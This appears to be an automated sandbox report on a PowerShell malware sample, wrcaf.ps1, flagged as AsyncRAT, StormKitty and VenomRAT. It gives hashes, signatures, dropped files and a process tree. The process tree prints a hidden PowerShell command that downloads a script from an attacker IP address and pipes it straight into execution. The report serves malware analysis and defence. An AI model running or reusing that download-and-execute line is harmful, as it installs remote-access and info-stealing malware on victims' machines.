Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/01/2025, 18:15

General

  • Target

    wrcaf.ps1

  • Size

    2KB

  • MD5

    898d5189a1dc57fa7a80b4d986ef77c9

  • SHA1

    aeb3667119b2fda564f498d26c04758caf44b1c5

  • SHA256

    61270d6564a80eff42a00bf542fc79224949fb27df8c1d6d3acbaa6000fc8577

  • SHA512

    d8cc4add28939f7072fad657b863f0e49ae420bae27a952db499f66caebbda79ff29a552f12ef0cd2cbd1d32003c0db940f0a16bceca196cd3684472c0c2e8c8

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 1 IoCs
  • Stormkitty family
  • VenomRAT 1 IoCs

    Detects VenomRAT.

  • Venomrat family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\wrcaf.ps1
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\Temp\Package.exe
        C:\Windows\Temp\Package.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:212
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:372
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.cmdline"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1956
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp" "c:\Users\Admin\AppData\Local\Temp\35gt05ar\CSC679C3671FB4043C58A475C966723ACE.TMP"
                7⤵
                • System Location Discovery: System Language Discovery
                PID:4712
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2476
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1624 -s 180
          4⤵
          • Program crash
          PID:2740
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1624 -ip 1624
    1⤵
      PID:4768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      a9b53645ac136a73f0af2f791f716efd

      SHA1

      9917c3c61b029440dacd1b93a80700ce4afdfae8

      SHA256

      e9945e3f08483ef253189f405ad6ed0360649884e7ff534bbb233ba93fdd71d6

      SHA512

      a10d2e89faf9f76242edf38c88af522c7739402e158b7202566442bcbe78c84e7ff1c375a90c75bc396046e90a8a57dc24817a1a5ae524da148c1eef034962b9

    • C:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.dll

      Filesize

      9KB

      MD5

      65a672c74ad66c1061c3b7231652d669

      SHA1

      0bdae78db22ce446a5edeb453454a461548201e1

      SHA256

      d0cb17a34a1f430b2df8ea9d9ed1e9fcc6f10b95011b5b97f949485864c5fc92

      SHA512

      a3610a403a625ed293004ec33cfd93b36e94ad5ec9214052a8c5c843b368b020529b29cf8c2064a1f79c29b9d61364f1f2f5a6e41d7a74e1ba069cfd5c431247

    • C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp

      Filesize

      1KB

      MD5

      7c4582d89b4263d0f435be4ac16a1c8c

      SHA1

      2ed23c54bd5acf5f2a82cec803c614f6cde698fd

      SHA256

      b3c3b6d42280445b6a8eca4bf2db8d9d6af4eb30d62a2a0d492d2ca133b86add

      SHA512

      08b16249dd455236448210a03a489fa997af7f007b91753d18607f842acf102b40c2cde490ee07c385e33fee31842bc4911cfcd639d769b4d89229cde4615ee7

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgpq1by1.cpc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Windows\Temp\IVIEWERS.DLL

      Filesize

      88KB

      MD5

      33ae2b9c3e710254fe2e2ce35ff8a7c8

      SHA1

      109e32187254b27e04ef18bbe1b48fad42bca841

      SHA256

      9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

      SHA512

      2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599

    • C:\Windows\Temp\Package.exe

      Filesize

      201KB

      MD5

      2696d944ffbef69510b0c826446fd748

      SHA1

      e4106861076981799719876019fe5224eac2655c

      SHA256

      a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

      SHA512

      c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

    • \??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.0.cs

      Filesize

      10KB

      MD5

      3fa79decff8805745cea8116d9bb2643

      SHA1

      92343c5fa2c768b964ae3a4e9136e5d7193e8558

      SHA256

      e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

      SHA512

      5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

    • \??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.cmdline

      Filesize

      204B

      MD5

      1b69eca2bcd18284a0bc211f490092a9

      SHA1

      850c0f528a76fdcb726c542838779dfb8088e42b

      SHA256

      4956601a6ebe8a1216bf48cf167c143dac82b1cae85e7cf05d3a32d154ba3bec

      SHA512

      9a27ccd4ef9ffa2a311777efcc1d653cabc45ff10f766de1119b7c11ddcdb621f824e57a178c2aca6fbce32da51962d8b54ebb0d5be3a95e828d47fcaf303d88

    • \??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\CSC679C3671FB4043C58A475C966723ACE.TMP

      Filesize

      652B

      MD5

      b391632ace3fc2e57036c3a48db130e6

      SHA1

      2470cd06506790c2db182e94b2220c2c46d01287

      SHA256

      abd8a11d584cee7fedbd01f9db665a20885aba82aa5c4d12649280c7f3e61d3c

      SHA512

      2d034b712200b26e28a60be0e02f77599eca30f128e00e169894a1005387a18895cfff30218fd995201859585542a6fa65aebdd23cce5af25f672ac9b5fde02a

    • memory/372-23-0x0000000002B60000-0x0000000002B96000-memory.dmp

      Filesize

      216KB

    • memory/372-56-0x00000000077D0000-0x00000000077D8000-memory.dmp

      Filesize

      32KB

    • memory/372-26-0x0000000005960000-0x00000000059C6000-memory.dmp

      Filesize

      408KB

    • memory/372-27-0x00000000059D0000-0x0000000005A36000-memory.dmp

      Filesize

      408KB

    • memory/372-37-0x0000000005B70000-0x0000000005EC4000-memory.dmp

      Filesize

      3.3MB

    • memory/372-24-0x0000000005330000-0x0000000005958000-memory.dmp

      Filesize

      6.2MB

    • memory/372-39-0x00000000061B0000-0x00000000061CE000-memory.dmp

      Filesize

      120KB

    • memory/372-40-0x00000000061F0000-0x000000000623C000-memory.dmp

      Filesize

      304KB

    • memory/372-41-0x00000000077F0000-0x0000000007E6A000-memory.dmp

      Filesize

      6.5MB

    • memory/372-42-0x00000000066A0000-0x00000000066BA000-memory.dmp

      Filesize

      104KB

    • memory/372-43-0x00000000077C0000-0x00000000077CE000-memory.dmp

      Filesize

      56KB

    • memory/372-25-0x0000000005170000-0x0000000005192000-memory.dmp

      Filesize

      136KB

    • memory/2476-58-0x0000000000400000-0x0000000000704000-memory.dmp

      Filesize

      3.0MB

    • memory/2476-61-0x0000000005820000-0x0000000005DC4000-memory.dmp

      Filesize

      5.6MB

    • memory/2476-62-0x0000000005610000-0x00000000056A2000-memory.dmp

      Filesize

      584KB

    • memory/2476-63-0x00000000055D0000-0x00000000055DA000-memory.dmp

      Filesize

      40KB

    • memory/2476-66-0x00000000065E0000-0x000000000667C000-memory.dmp

      Filesize

      624KB

    • memory/2476-67-0x00000000069A0000-0x0000000006CF4000-memory.dmp

      Filesize

      3.3MB

    • memory/3960-20-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

      Filesize

      10.8MB

    • memory/3960-12-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

      Filesize

      10.8MB

    • memory/3960-11-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

      Filesize

      10.8MB

    • memory/3960-1-0x00000225599E0000-0x0000022559A02000-memory.dmp

      Filesize

      136KB

    • memory/3960-0-0x00007FFEEB9B3000-0x00007FFEEB9B5000-memory.dmp

      Filesize

      8KB